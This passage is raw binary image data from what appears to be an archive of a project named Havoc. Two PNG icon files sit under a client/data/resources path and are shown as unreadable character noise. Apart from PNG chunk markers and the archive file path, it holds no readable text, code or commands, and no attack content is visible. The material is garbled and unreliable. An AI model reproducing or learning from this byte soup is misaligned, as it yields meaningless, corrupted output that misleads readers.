-ue4pU5PU H%4Y%j )3IxKw%Ę2d(!N1UcXyT9[9} ʢ .vy>wp hoX'kh(nPk&;BE%lOJJ+npyl +2dr-[$;L2{~T'Aak< +w@ XMGFJ.319x*]>.rU1̀zW}֯WmYbk2M6ՐH/wrʱ &"s`Qkb:i0q dj@2'燺UyJ`{AR:v&*0& Ifɛ,ˡ$] {Ϳ3ޘUN sӤVbNluJN>S邛%WdRdMvߑc:çUG"|kjk~UţZ~<85cL`eɣK 1B4+{lJ^pAz(hfT!;­p2lZÂL1bϛ,cYFR 0p(|[@6lḓIJn%dm2HEb("`aLx5BI:K,$TaueVc2TxPi5>6jeg#o4/Մ0с,h8 fBEm,(qb&|Jݫ\U8Lv&; Z%B{-ǚMi!cP@F0xRK?a[3 4K[3U[&EɦIXi$Z,\UV jj4 0ӕ/J5&eE-u}{rYqj|5P/G~VS {IZoP,2U![]>j 2b̩bFvnom/+1! Mc9f!H1X?m ±B 0f1$XE1K-">^> [".޽{ˮn "/) 2gg[զ 0X!VNPeUIal҇܇J)%-$낡Y!p풪&;cЌH8 sŕOr{w֠k-H!QlRFGsX/ǖW^G06K7]#{?Śn!~.K3uvh7;8r}=r%0+V&1VD@ppbK;Jg,~bX .K2z2A| 쑀 AV /!X4J$-ʔQo=RI1/9 S_6YT)T50+,UfOSZ/Rho$<F$8+eLKjX<1Wv3a,$qZ}N@&&J-eozh\<~l׽ABfwjUR6Q81:5s[ c_m֩.1ʈe01ލcfoA DH`4ý:֯__i(3Xe Wq2GJ>fн {6[uj{U0^/ޝyGTt7#$Sɤf=IX:9\t6Ua"L>=ċ] cv5\>Eʬ6Acd 쎩edȱ3Qu,ɑrbrL_ 3\<}[(;v3x̍BXh?ۡ7pvɥHe5Q;qfXӡotQ.bfH)mVrA lZh Y֠kcdPy 2{|G%m 1Q2ƌTdXG2tt3`Xr,`_Y$CAuP=ZaT/7- >UON?xL@fH2%[+DmjHsSP9A$&O5ɬi?UWZF>0ʫnNL,BVJ>AzSC99> $8dqgUNH%Y K,mz,W+J cwͦƴa* SY?w`6᪶60ݖɱ^dbyp )2 YW-c-vsbE 1`㏫GoL?X׿$Aի׭"2e f3CŅ陙㣅2drjL3f(2J-dɨ{O^̎ۨEkZ{T ?na_RACM?SQ0բ nȲ))CS>.ů\.$Kc跛cv5V0#tʰJcb>^dX!g jٍ}ݞae[)K 촏009"Z9gƯE/gf,cK d$cl5B(;فf(8J%h3C㣣x+J⍎)Ӂ7q~@(TUޓEK$oxDe&* gVKQIOƸX?g 1s|tɋa_PWu4=Srsot&aE?إVc=V ^.OnZ lŕՕ~2_[|;v_± 2E2(2dirsK㹁듓)Y<ٛxSuk P@cB%zw 9YXG{GFXVٚJ3 c*pNIC[CC[10˚(>޽.1Ysc_ŝ/סolk7^:z8G˛'|IO:bSa\hzniL \JHm4:-$ŝ;o@Cql̖\eMFKOe3e8zC'`YQɪyȪ8s#| ?r޽Αsg;6bj>V5Q3 O&蜀 <i5rk$:va6l`n7-S*f~llldrbecpML .uɡp:2pCxcq@nra824sd8 =7񆊛p+Z6@ÇM dA_ACNJexM+ԛ*&6?O.(\j S=0 L/?Oeq  %-٨lCqw%D<%809 w5DEfuW\-&!rfQQ!W,zBt z׹$-ȭ[u#׵SAr(6<~:k`= D_\:s ~G)_1׿/gJs>3xO uR<|UәÇO]:u0.A9z +#BuTߝWD;H8Śnc[A ,D/ugoMtE .lH/ L_~]gů <[/QHg_#{a]Z,yxzPT: 1Ɨ#>  ޲Xa x8>~A61ҚdICMJ1ɥoOwMa17>ff-$wA]D5}} Ʉe–EMpY(c \N~''8v"/Aq]t\;03-|~U+e_xmlTWM mhAGX; hҶ[mtLfB|ղIG~ƌ݋?0[4?v,S& d|-Y_ 1CeضOe”8ȩN`2o paץ"vVzBƾ}cFGcŭ(`޺-I0]]+[|rvi22ۓm!%3bvsR-M[nzO -bhR /=/1rL'$d09FWZ=ʒіd 2dǔ]8}A.Kv(-alS/%8$#F$ba*LsD[c~FcJ]0~rcU?;5 k9yqJHfqm!Uj&0^o]-~yșK͌';!9-{=W&![a,ldJ63BPǔHCS\tmO'!),8u(VPw><|FiYrbPcoߕsm 򧛸tzduԱCsR}2=Gf+23kEb%^VrMgmU/֖\ΘRZ`ɠIa]Ё)^`JVu7]T/4a(`P<{왳1aۅ X0FUۏ0uK,c{9yJ6~8qڲ4js-R#Zc[6,o]Zf*&kVkd(eBȮcLĖ&ަ7hX_w,ɎkK2OKf| d-[dd =7P0ЯǯJѲ8 KX IDATq V9 ##v4bdS%27 M}[e~ct~ "oAqO` s_R'e|%-G ڠn?Q} U n1ڕYN1Y3d8rD%e᳷{JȄ(ݾxf.O|[YD:aQQi 5 ~ 몑.8zIHĉ ]gPK0RImK n߹ѭ'V\ܔbTW޸q1;OP .`  NqGV/f/Y5zXI0ѧ1e )CGvRtX Ld؈d%;i,ف?Kܐ#! V]8 4Lp sR\x;{X..\`*Dކm`=vX%X~-&]tL~3Z0s1G8l3fR-,Wʴea!lx# ̛xS2g|O+SJ6ȒL G&\,Qs,$?bg q-tpݶ$Z*+FFF{:*nVoаbM6uq!ct n79ް\vdl%oVa! 5kkjh&ܦcNd1IvJjھؕ_|,Ҍ[D\"-ϵc7PB0^D@ u\2;:a> 'ZS!,)#VP~C_vʏsdOȬ3@%d)-Y-$6AўgDY=&KfUG-Y nt&,Q0MڢRX2!dfypd[fcD{xn4uɒIK~.+&ܡSdҐ]}[zp %LV1zr0}M o #nm]8XF.Ž\k9I喒P ,$<BvjÊ[_'<<.SBF|%;,٧_8W\β:넀9.yr[rYбJ?Dy-qӗمsd^ b97[Rʔ -υ''&-ٹXq$n6zk/O_w;YKuߑ%\f6L*dbȾz"qyl۰##fʧdv%BNRIl鿌`*вk} %uJ"'K63:{hyҩߏ߿U<=zX:DXv"OIi~2ʏAzרNؑ)ɔ ,6(%;}c˓ׅ}ŁUo΍p+ es})끢Z8Ky.[tnm dYQƥt;߹uֺjUJkkB-]6êpڱ \Gn|^bj칌-JO:~jb/^^Ė9",['>֭0Z6`};KK6,9ȰС7>y,klYw,ikWwaec"lp{/la\Mr3eqPYIiuK@@o+el+)e;zl ,$,Y8^kbBQUJv-ţWfkRy"IX!8!l?w4}Z}pC~kw’q%S~Wy?8,%K*d-=YK+^qȦd Ϥ+/H OARwGEXuqWٱЎm~Cz8PؑAkͶd\ :OR2P2[fvRSe=67f} {oTH08ۣG=J[aUZJv/r;M\&..:KCeUlVLw,'Kvر3hRq}~) }^\MIA( 2_p}F\$uc[DXy[>g 2"q<,[V>T{o{o^KN_M߾u뵭@Ν2gz #:o$GQJ6^unPKY2XdQ-Ɩqd>_[㺭 ^넖 [:jAcDX<%U9;Ka]fdǤ p_>g -dhvɫ%;:Yd̀|q *'֭#/@ȓ|sXFTs۽"R_NKfwϘ%K*d-mvdzo'#0cV\d gQuM3ߑ&1, {C]!c=:(=dWC 1vdǁd`l lϡSǯ^Z+1yK#P U(;rR_$_;cG }'ԯ0ao`Yfߢ0vͣCՒ-e-NG_2dؕ,s :d*،ﺮv>Tl4g1SNAs$մ$<]׭?{OqC1*&6@EtnBF=xKCL C.&d 0/!]_cFٯ+`=F|IíH '/O -g4qe[Lծڒ֊;ŋ=A;Aq9oQ\ɍOꮘةg҅aak>Hڙ0Kֽ &ǻqSSVcsXhuLi)Y1״"X-A;:"L)/Tڵ{ozm{kH} ޺F5*+2z DC߿a]ݟibZ2%̒ygΒ d;2}nܙ:BL &oކЧL86@<|IN߃[}^[1 IK@EqI:0q!`h>ˑ;eJ2V/]B.cA"^` Oe ^UC~떰W5 )DL[?\#[^G}F)+ %8/]_+CCR&~{un’'.El,ql6d1FeVGokW\rñ+?7r^+{_ {K}+~Gh&׉H'a cʋ7v#le+)Kfa1N+Mɮ h@`Rz@%‰]%`QQu_pu^/Dȗ_Nߥ';繯@d5qN $˘ YBKF[<$zSjf^|G5߾}O?Drlvl]t}Q /ax_ER)apH1{&:k-%Aےi%p\}71}azsn=FeI=R@=c%"??z콤"&̂,ad?&<"pQ%LwؑF)YA{TNڣU{W8!fқ%4?1Gm & ITx\H԰7`rRz1ܘ.v&+~s6~"2Ȉaɶ8,؃/y[%bcy+C/%_p^5uIq8gpd9QdcfV\|ܙwXpd(eXJ&/dnueph=ER9oMFN1 NG07"kqcP. pC}E쮪ڱCڎɊ q^b~##Jd%Jv UU}a2S>|a]:AP/~]upCKAd=~Y7ڀd?M?wl;% . YqdT ]d LN[ˮJ1sș45R6otMWN=}5f{X!O2T"&e ̘SEжŬ~C}.T]hg?8X8_jґiK4ކ2JpT$agJoESQ0Njdfv|ha:OC ߡRN]?ZzhtɛC ;sRIRI#a¦z1tcWб-9ؑ) ];lk0ċx {xI3R02ER]ߗKfB֯O ='͞g|7R3d0y,dƶzϋC//ة$bn#;M)=FW1WdsdZ {M*P{}Id KvkFC*vC`tXԖ̵ť͔4٧-;>݆dG IE g:к:ct6mBt!\ v I`}[f 65WB˛+go0##'%ӖE;Me HɈKp>%SH4| =pe"!tDŽݸhRgƕⲼdi$\GF=.6[*) e%t;)U+^7y(1KXKB=oߟ}:7Mymm%3ݟXlK֢OQʾ KcL8ݝCTg֩UMy6vHI{K!g [TH*^6 y1/ؑA ˒a_\b3쑙q?%Jg25z.BK ;/?ely2P Kl߹XA_(ˉK/Y\Q_)YF˒Q1َO'* 4YYvA:ݰEӝq2ou:7RC^NyN!Zڀ=tSf2cƍm.쫑glpzر̓4فj hTBͨ<+t <pLtRd=Wޟ(crReN`;rd2oi*E%#W&*O)34eh,#uz6PvτH2liz-gl##8#[`˓sP3qyW Phى%B`]GWp`ȡg8=}vH¼%`xo%Td;>ͬ%K"dVp)dBPʾPЄ&a<[y5\67 S⮳Nz!_ZtHiֹc#=qد6SSfPd^S^%vGS`J̄+Dd&lujdkݗL5BZ2>Ei2(-{T үiZTe(X:ϟjp8x|ɑ)OFg 5#Nl)݂NZT$@8H:6u"FГ#dPzFc>; K&_,g'R2%3zѥ20?!&֖=nײ tCM<&qS=psuC60+@ǶT%Y7\Ωqp~"qA:zi%rBvJ6K٬2vjuD IDATבϵawm#Ғ 6Қa/?Nw~d_!KfՒ};ގ,KTɌ%SDZSenp2tizg"͡ZZtiӄA0ysU5f LPge692rxy" fTjR,!h7E2>ڭ t~@(0pT͛odQ:pOĉ7^<$x^p`)T^6ڵf7fsO: NSa<׼.~뻬k]g߀wd8o F [6!e&oskv53u x'w1(ĭ_>oa^_Ot pGG5?]k%nk9#k:Y8]6-@`xsQ6`Xc d<9l`d`~0"tIXWhlg U w1 x5Տ·q:yyɨonpOopc#N};;H$ {2ƎL8$6U% "qbv%`V(+9,@ВuIK6$ZبdC#hɪ٤-Y,jD#RbFZ&V1[(/eLUĥcQ[L+j0*@Xa!#dX:fܦ,|% b~8ƖҒu%k3Xk2%eȒ SV2(K4C9L*CalK\N+;s$gz}YĜ!AC2 k1pE$thR(d#- K6,".R2+%K[Ǥ鋪u".t]KiM3 lysZ-Xr.;2E'S.EbQhQmdBFZ}b_8&#O:&<^ ./I%SNN[ɬlX|4WeTrT.2UFdAOzR~[(.hlJ~J{9_f[Bho[2:tlΒx#u齎=uʔyhˊ%_9aG= ^u2$ܭaJKCba?t *UlDƖ1̒u QMÒ 2JfZg2ScΈcJ15ukYZSNzRQQK)h/z SJ?u< ے %,Ԓ#3i2$jHL)Yڮ%*RТʕtXQ93Vg}&mY2%OK,uJ]*,rddZ]+&!뢶-3j̡XugWX 0%euϊFeV>\dY]8o ǭy W-YugUX25wi{# /Wü,fvdD"vE{TD@E*hU'^z"% ɈL*\~djO`kɆ!ò#ˬ%XT']%[R1˒1Ȉ!E"'s/ %)% Shӥ?lMΒI5mXQee[WPF'.M4K5uHYۋ*#u1zØم0;DtUKC&UH)eUYe˗jϭKiKdڔ#Z2d&K6誉Ϩ%3Zf[PKRjkYfԕ"Ȉ!ulKfiWJ,NK{ ht{ :uzpdBd3D4qmȒYv-)V\Zs1? )}{[5][Xǂ0z{XsOS9V\S1ud$YJL-dɪ#%ud\Yˑ%Se̬ŽzK#ُ蔗5H|_zhDuWRf>u?L`ɠ)٘{ťZqi,YDh%i1'rǘd ;2$af$)H=ggVeZn Qࠕ$OPJ&bG̊KNI.DkuP :[ujZq׊@ "q *D&(=_ywا/gGli-_Ȥ%|u8,Y+ߟ,Y3RVt+J3ATr SO:2+|yC}-KF{B2JInAI2L&lz'fvX2X4YeJ3k-fs0`!C VUG;-]~yoGf/$YW.6 loxԚ}U2Y2s]݉1r>f+;2E05K4s*^OZ92w Z*K6&[`\o% Y2U/lq9 qAkA ѺYS2=s$)bB.m輘[3~+KȞҲ:-cVl$;`%ӭ&Lx2\422\p9蚸:%u//uu]FXvdH0EE9szK ]KdyKGzXR!8qfóu4,ӒT|Вֱܖu8L=FOcla{f2uEdNK0RJť{g8jzl}!'Z.z3Jq2?)$#Cqh5x/N|R\nibI=m),ݔ-jKFlyټN3/>Wq<nȐՋ8LOnD8W]KӎLz2e*0hRw%2zD;z`wyLL\:qG!k3t0LP1:Skާ-Ղ߃d=%3q[rncT:g{x)_t~op8L 3^ S~;"*GAL *0d M)AGe)GYz2w,> uzEtk6]8[b/6l/d`i-:%{]Kf*fKNf$:怅 zwԓn8(jʒ77[}b4I}b(ֹ븴dfwerQXǦ;2"q.1ރɇ9N)ӛ8BK,dvW(Vwj39+ZLQl$鳐D0}ѥ-/ak-SG [Qؑ!ACp`xncJ LUQ)sqla[6Qvds. E[vʒQk eJ߹zUoVMXȈ!|Mhaw`wL\*K 0JFzvtu%y˹ 0\¼eYdh(K -'Wlhصx^:>nF,\8G.n8(dm$~x s%r帽LɔIJMx֒zBמ ɋKK6"pvl:nzpl9aG= ĻL[n[wrMƖb{R8KVL_D9Ӱ##PdudɢҒ7wG*I֥dCKUJ8Ė*I֘#a -Ȑ!K"v_Z2AeF/˔Q,,lvtT;\ƯQ#Iq'el ;2"q)ƓE#ʒE%C)gӒ]K*dU%["b?#"3kȐ![cQWbldmڑ %I%%e_$1]a9ԅ D8 =Z6 zBb2+ln=odɄL5~^}b'Mmk25h{'Pؔ2"q+ ]Aȑw$Y%odw?U`Xu8^z+ !,dHR\-UԒ#VIq5Qz2Ql|_GT"c*&MY`GF=a%bO\nX!PA*ɨ$)yKSȲlJhI&cҕ $b9hL[nRnrd`ɨ,5R2XIjW̞tO?Žqlv." ؑ!ACXq"$L KBˤdUsd‘u_X,l:YVzBjkKd$r8yK{7%GC`$)$DR1R2.C;2$a++rdQ%Jb;)~ -!IXǠ$J&dMdxɞ,,##-fZԍ#UJxCbKА15QXlpdO%?' Ȑ!8&-Uaɚ)I 9240qdљ업d l q%+Y "q+%JkǻAPqYDhҔY*$)]?qp XȈ!2bĥLwkG6v I&di)%0,%{[X~1R*[pB= aőÒ9+0 G6>@[&^-!.;}/f 4t l/'3]ؑACH/%s5v7+K6.;`$Yn{`$knw_DRt,%8w#%fV~ȺёдeҒ%ƖB:ڄ82[&rd1da0EUZv7GցIT6\Rl+u-e;SB#[zŠޡZn(%%-''-#Cڑ%ӥZZ:udJ6MC zBJddJ2ۑu(GjKR2I{ lz2)dlɲvdDR~td*ݯP܏ ,Y_q2GbKGN9rd]2kȰ*v+3eؑ!ACX/LȢ:D.bI TuNu`h.[V92m|,u3XzBJđTFHȑ%+$sŖʑuێ̕d;?MS0ݟ…`% 2"q+&nCBf tm?M[6$dL)fd$Gأ b C;w@ɒg#dB= a"N#ˑrKH֍ӖE* ) Al,G#-"{'2J,Ȉ!Dt,Z'ՖQ#ed[Sl9/;ɑuȜޑeZ,5KJ>(c lX8ꮮ1aFE!SmGz9iXMג zB^M tdJǔ W%ǭɚ]c >ט"pw#,}zGֱzBH|\iu"L ƖȺ ٟ||=8uPu=,dJ6 KgB;2$a&ѯKW5,ؤ,ђ B֦Lmj9N}#kw2,J:Ėl3 Ȉ!Ҋ+T6dR::!:>ґd6q 'c Ȑ!t,R/I!M"KkM4m `eY|ܜWia_zJec!/!| >v8a"_@Ȑ#!u&*"3<X`!#qTQ1eё O6~pdb'bUz1]݆,nWEwRU,T!AC:2dlDjL8$dMȐqʐنًL%,^ vdD2LFvBD՘"~LD>nO+CFELՐٽȌ!Kɑե~"\%8 !T$uё*pdB Y” -h̊;?%6e?rX>ؑ!ACXqdV:*T? C4782d6dv?y9͝D%Ǖ8 ;_G;Ya˓LY?2(#̧"^#C&3djGK׊)Eten1G*ُvdH&X^eu,t!G6d?5!낶mvYIѺI!ajc7:ؑSy uNEYکaBX@ ooQ`I 2бnB;2-RӏfXB ;2d/9=acR2g'2(uR|*e : ljCd3W~&hS| i:d @l"|,!¶؇"Kfȴ#bdi&#dkrǑEAD8D#Rd]଎7,v²Qc~B l ff,]2SCZU?ܛ_3l( R?텳4d(C6p-Aov!>d]/0daMo1&7lJ;BVYH#EKΰzӑбjl֏2F 2,SdƏu͓Vo +ŕOÑ,Z2;J/:vKVckʐA L1d0c٦ ^e0d[ t^2vdI8#S~gQ?ngIƼ###qkgU,U3mk?ˠ(i:'S\ɯD# R"V:f6~ vRX׌ew`{{\GEg3ٟF^YʕJ`R|¶K S;YZmȂ0LƜeҒ'r!?FQpD?+ tL1uc Mj?.kƲ}pt!c,c ?>ו59ZAl/ _ڒVu}n8`6tdA`9cXAGKn7;Y5%dI::&,"K[ql- =1x718e,&tgKalJː%2=c ![SY[ h(Ky+GF4"IkTSRƅG?Vck A]B\ĆHϽڜؒ-/:TudrN3 +ǻяuc\ v˯z(cXok,y8 --+kKKr (y]:*ޡ4d|:61aknvGt,!ȥ9KHhGwd "Q(C6f9AwY?2"۴VX'$pdCߙ#tQ~lOˏAvf4^0e`:8ٝn5o9AHGdp(K6f*v6Udel͚{dǂ֒)+Ye#]iW;C˾Dpo^,FƑ Z+- 9*]u csߏseiK"VZR!J\¦C]u#V @rlZҍMAA^r[KʹjuV֊rRZ2dmC*6͢ ȍՖV̕^)QXHʕg_KYHa l?"ħA@J**+*B+,,dKL׿&rd’-B~/OsT|ŊVXRʽN6C? ˃aKX&A@MM ݦrB~!4(0/pNnij-qBʗ,ZbŊ'xGy7^y2%ׄ:ͯ~%%?/yX|㊪"K68HY\yLOš5yD#B+oL&~%,ْ_HGpŲsB6n\VQ3?AcƉ;KB/]zcO@l),+O.N#ZW_[> LZ.ÿ|hC%UnԎ,rjgŲd(K˥KV|?XUOAXJx_%{_#[g?Zt,Lٲ 26%+Kg #CK1!dz_X0o;x dr-KZ[d9S-&Ж =YBJ-] G}tժOO.N,e %{J(ٳ/=+GeyUY^U|v-;_TVU1 R2бG,˟O BTC&X* aih%(d(TJ,ˆ|[-ᅿ, #1aɸa\BU#dap .J]b)Ȟ%![…󅞶 Uݮ&kq(YdMtJ(Y|-_+V`!Y[ωq 00a)ЋaJfy&yW=8K GV^NB ؖ0_nlՋ“N^644_`Ʉ#[pEme&_.`l\LaJ ٣?FdecT ~l#vXI2BeB)e̚Ă2ޕ5zמG-WlEU-r;`pay7^dLU(e(kPIg}KmaF0 *ق+M]V,dO?O@hYQ/k3.`,y,OÓa?Β-d/?< Lҷ9aw`lEy\UzI%kI7=c"JV'BQٿ;`0Lv dy2wt:~=M[>++ߪ{BX0&?yBd {2YfIůϯrVVURTɑq rГI)SZfdo똼в6}z82-VU[tV͝TF0YO(SN=9yZbO?(Z^D-Nد =[-&zf)<'KkcWe# tdOruE{BUnKv 03F )3EpxWY0#{e2Ed. (e|1ã =eRWxgA 2;E;KD#+cG=䥝_l ɠ%KB垀YˊO^rFʸCP0veLv%B Sf2ۓ)S*Ѱl1 FK߬S~,Tl#w@ p7Tؔ1Gd*Mȭd_k_y%X|UE8-shr#w F }`PTiCqc5UTp +j#Z/БmQ&sS˸aŠT1LZOӗX0Ev[ԉ2Uf.8X2.`Bm}25Yb5k56ٴfS-w`Bl^Õ)VэZ!,Y;.`v.,5 O2&,K0&αd ֮r%KOȸÄ=Yiټ¼2 qeVY:B0&R-YyMPJ-۴D,{LX4`0L)P+lYiY1Xfi w`S`¼fe)%ɸaB1hi^ _7GBF 0&YAIyU=!]Jۍi[r #+WRZ[@얲;`0Lj%Ɣʑem4`0LQX^[YLg7o0&(((V`ڕN4.`ܢr\#Ua _euIN0(daRMa{<)he"aEaIUYeТ4-0rlE*M0 :_RǸ0š!kJ09_tE0xޒarpX0*X&'X@/BI0ʸar{oJs%[2L`# \0 65!6diaGa)/ iqdRVtHwe W1L)(( 딥$’-`%cp 62 t&~AKQzexK ?P ٦+ru?Äy!DftvS* fC,,؊ Ä̐-C E\K0DN ;i.( z$&,t,{?% ND`Yv/7lW:%dJx%Ä4dcV\BEdPR^{'冐J/YYUy+Ä#鵊-**K Po߸l-3L_(˰db&\eD:Je9 ÄB.ׄ,.Kx%Ä5+7嘎rZ.&D,>ALN~ZsɖaBB{fǀXM6aAMIizOKcŸ0&TykĤɊ4Äݓ:Kd `EXɄ'(zIB^.9ؕ^Ed reN- mOb&?8 OU ,<5A ͌^tIsd ̫): ;aUO,e },(,/][XDeYU oG0Yǂ%戌m"%~A.kX&()-8R*n~0EaMIE\kN/*ZVUQ&4NzNyHWqi,d 57ׄ,^)K 旔֖cII6lmEy&h ;VQ %I!#%n rΔ1L`Ӟ9+c(ٴ3eE1Lp,J-&lz MYEEyM!  4Y9W}ٕeƗ^2L,XU휫W lmUxaf5%К-JJJtEve 3{@nj.؏iȕMKh]fv8vʄ)C)\P7FnlImyaʤ++a1cVLpccڕF\ٲaršaJVVrn̏~l: `˄/{'1&̯ree\/Me+-+lX&̟_S#@*wmX (_l*<$ˊPx;d0L+)'&4CJbcٴEE/[+ 28iƄ`EV +\_T8LUQIfUr(+z6L*3]`jm-+`Y8*vC뒙{)œrY$"$Ji9w`łGj˅-+ ܸ^^+n|Ɲ8!oSf␏x ̴Z lcYNx Wq֟LAHvexu_L{/]T6Mjɩ9w8uCqή=>dT)ܒL;۳ӹD&/cʺz\{vX"PM^/);m0/V]Ǐ]] Y8z[A&JAbRbߺ-0IB}~)fy@YUٖd=f듺1s1JZ ӟ\Y K6$,e>aqDDs)=~^Nh~Fx%{IENDB`havoc-0.6~git20240910.69ce17c/client/data/resources/macos-icon.png000066400000000000000000000451201467014221700242300ustar00rootroot00000000000000PNG  IHDR =PLTEGpL߿VXXVYYUXX}ssq@AAABBABBUXXVYY@BB­LOOJKK­@BB@BBTWW­LPPVYYLOOVYY@BBŽ?BBJMM­@BBVYYĿVYY@AAY\\ýUYYUXXVYY?BB¾ACCVYY?AA@BBOQQVYY@BB}|}{DFEVYY@BBillgjiWXX¼ַACCQTTOQQGIIDFFqqpUWW;;;***222z{|KMMÿ𹺺Z[[acc$$$۲tuuබ덎Ľnnn]^_͜Φikkffffhhhnr9{tRNSY꪿3 ;$Y Iz#o9ݹ䰢-F#-ctS-=B`HظhPm/fV2[ɶ]VZu|d̟5kr IDATx teh $ vZE\]\*vv?.}v9vg06A[۶5~B g@H L!4b"[uo~g9sv]AYp9Jֲ;2Ts2cg0.J6MZz{B #zw=~XՒ˖3'KU?cYydC2'cWSG.dN2'KMߚd%O.dZdX'] 𭖒9 ٴbkNv=?%Ku~׬9l=u='d)?xڵl|lYNZV)ڥI+_[pyd^pu˖j./O9o]c{nȂk4ԋŵ}8RS2di\Ձ݃1~̻w3ك1s{ϕօ% NgdS\/.NRp0DťÐ=;z2%` 7`YʫB{dmե5% Xyƒ;9dJ8d|{p-[/x0U-A[%KA^fqvYk{ްo߾7$lM{*_r3#;30!Ҫ؂;vyӦ$٦MհsSenfdS+k:deVVm.PQ)\ݟf?T4wz5_v {Gm\1'ۜۦnοݟq{#1@I~?qJ6M? "d5Q2Wf6!so}[OMLB"dWk#nUk]l%O8Xmŷ JV\ݟq5U_[~$6cEy* @ל߷O8{굇@aM,B8d4b {YC^b!!s6OC2!۷39k NuY%d 0! 0!C!2AeG`8B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&`4B&܉fm_*VL28͝qWŢLK.VL28cSSmqu,󠢝( dpb킲k"d!^UM9ٱ#doXaE!C|ͪU1 Y +B&QXQww!ۣŠ B6k޴#d dh܆!C!Cl\tk֐Ê B6]䮥B&~XւߧA,vڬNӫy[7s4 dfh޴uai*fUO]$Y sr-k.@r2ALPT\kk,zVٹ.-k.vDr O2A.|YI|;T"skh{ebGU%f2A|n햲6_Q#eE3;M KŎ Zp!6.l ێېX'ܚb#kĔL2Ѱ/=9Ms7K`l%!6L2oXpiXrf76fen.g/zf BOʅُH?+[%s"eE!hՂ)۲e궲VPL2o*sXe.+?5,jN>ANq"dN$d{ÑEs6-KNe[Y2A"kT-jYk/W~v^+D!dbo+.[eϞsJ am Z!dJ$64%!OyNn@!eFΑMB&o47%$cĶs=B&_L:lJ6Jk7!'fX)"dCLw@CD!趲v,3lo8B&|UʃY's B_u>֢K7 dʫC12iB&may*xce09B&Ю'6]2AȔ(ծi% d*9Yw B*wV]A{,LE!ӔӃY}d2Ane2's BZ~RT=f"d` #L25H 6`8C!Ӓ[A))% dZ6pa٪cL2% *g1 d:rrayP,0!LGyv?|"Vz\!dYޣ!LMjQȏ-B&&d"2A4./d<!LAM)~,X2AȼcvB k B7X:6]A!\}vDx8!kFXff2KB&ǢU6)3V|,a dVBY0!c˴+.C B&N("dy+D;#b[x.) djΈy?PL2OeM26^$!S ʲ` !S{þ6'!K;BtR1oM4B&6}BVĉ G!PsY74jA2A<-O's2 d+'!;af!"B&w IE\X&!;{}e]=D!N9RM{ B"Ş dyfvItx29 d 8,9 d^) 9LȒ BhyB$L2DCeMIB!HP"+aE2A9cLL2qd dydmW33KY%KB&GBj '!#}KJ{ B摰El7{ B敦߶l!dye-3yP)  d^ !";Z@ !+QR. dn?kD2AMG5j dZ؁qj^ď Bfg`%2ApQ9B&brf!1!LdG}= F"d)˞˓ d)V;E<!LSVv=#{Qp Bj?7.[h dܸlUB&.^qyP CL2]ym CL2e5a,B&|Ė)B&l,is2AȴEaJ92 digD]I'\;F!S[mt9B&ܰXV=&#d@CCĄB&of2Nr Bc2Ar IDAT 7Ŷpa !{ FF/pL292!s B[¹ޟ=_KL2( fJ/xL2#sG!r^n>B&oef/= d-ۓJ9ܱt Bs=ca B#9mT&&d @!P)dA!ܦ\\fh B+3BxYL2*IJjL B&4h׸c L26aJ]ܬE!ogd:NMB&Q"^78L2߉,%!RqW$L2n2 BGAMV) E!&z BK7L6Y B&?ҵ_m2A|*kV dEabu{ an'*SFI!LŠc?+*)޲9ipr߲l.۲ɘ dƚm댲#G9 kHrMYj*jU^h g/z`!`nWVWWW6sYćʬ|Zm*ZU7*b* d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d d dѲ27!G}L2hL2hL&Bڶ9nB@WM6lB.$dC2@]}C!svk!Yqi dšFBd}8gI~[O-~3 !}ۍYܻmΪg+.V97NEso\SQ;k&!;edlC{աϺݟ. ٫2>*d2>@lBf.28pٴ ̦=\ d6q!iM{@lBf.28pٴ ̦=\ d6q!iM{@lBf.28pٴ ̦=\ d6q!iM{@lBf.28pٴ ̦=\ d6q!iM{@lBf.28pٴ ̦=\ d6q!iM{@lBf.28pٴ ̦=\ d6q!iM{@lBf.28pٴ ̦=\ d6q!i4,rW4_.Lpٴ 9%VijՒ+(M{1+b-[n-֯_FZ6ٴrU/]|XҥV\CM{!Y[jsh_,_fٴj-]1:sXnV̧dF!d6qg^Rfcߏءɬl2283WZԚd֬lU+VkR!i d6qG/YcMNT-b%?-ڊٴcm*s2c28qteN9!M{_Jږ95+wiBfx@Wu>vpNƽKC28 _.XK֭bgM{tօm=fɖ[#& d6q@YKO !ťM{t󗬋gДd& d6q@-^C%[fזGl$[zI\w,K؂̦=H+VŻdY%3!ilu˝tOb̦=Hk;X!__B28 V;m1w:B{̦=H+-+Y;Bf$K {(ds28 dIɖ/\2#d6q@R !0ٴIz7![!ijېM{Tηö-Gl〤"dAGl〤#| B{̦=H*fdAGl〤r2ٴI]ˠ#d6q@R,M{T:Bf$՗W-uܱKyM{T\~aBf$!ibٴI3ٴI-Jܳ=Bf$v=wR6_ٴIMܳ4!im5K}t +d d6q@9[% 328 霬Bf Bf$+-7d׭228WkW\c4!ifBfxĚYR603!ix%J_,_d3!i*Lʎ3++ӱuK4 !i<K֬?!s%+y݈YM{)+eY/Ys//_n 3!iu7_P5ڃ~7!;0MC nBv$JKn z.B6J{/܅l I{F{08\&2&{5lBAvWK 'K eH>z d rq*gϽmb ϼ8vi2'X=N7^dCwG~2Godϸ{ձ"q_x}b}쐌I |~e# uΘK~sE\]>1ӷx>mlg~Ke?d|ɷ4K;(ɤ{~>0q\Vi7K~s+Y1YwncϽ ?"gX)tYcdD21Kx%dЧ-1;wmLciPKq} hYw8{#2 #|w+iga O[fcmns=t"rҚE𒕱X#e66KWg.yTeq6AVŜƺ{.WyL<4{KLvc'-d2h6m1a̸a:v"ZRfnkjf 5H|*s#}ݺ&bN^1aHγv$5-t䒻ѭV7%Ǿ\5/'o/O3n܀ +O9٣Itx?o& qrۅw2b˲fi'e!׋_$ͽ/GGҽߥ{~5W?gi1c2d5҅McqKm׮O, _?>mK.]zuq$#su$bNE:wIҥkwmZFFJFYK*[[^? á_K=#=mQ JQBHzNPby^WqJ;cv#ϰlB(OcVɞW7 si/ݟܿkO)((/llB)8/Dϓـ~bMFk8{וۖ@ȤgH tRz=qv|'؀LZ mlBץwNObub6|!8~h d"O8 |ъ0i9"`! 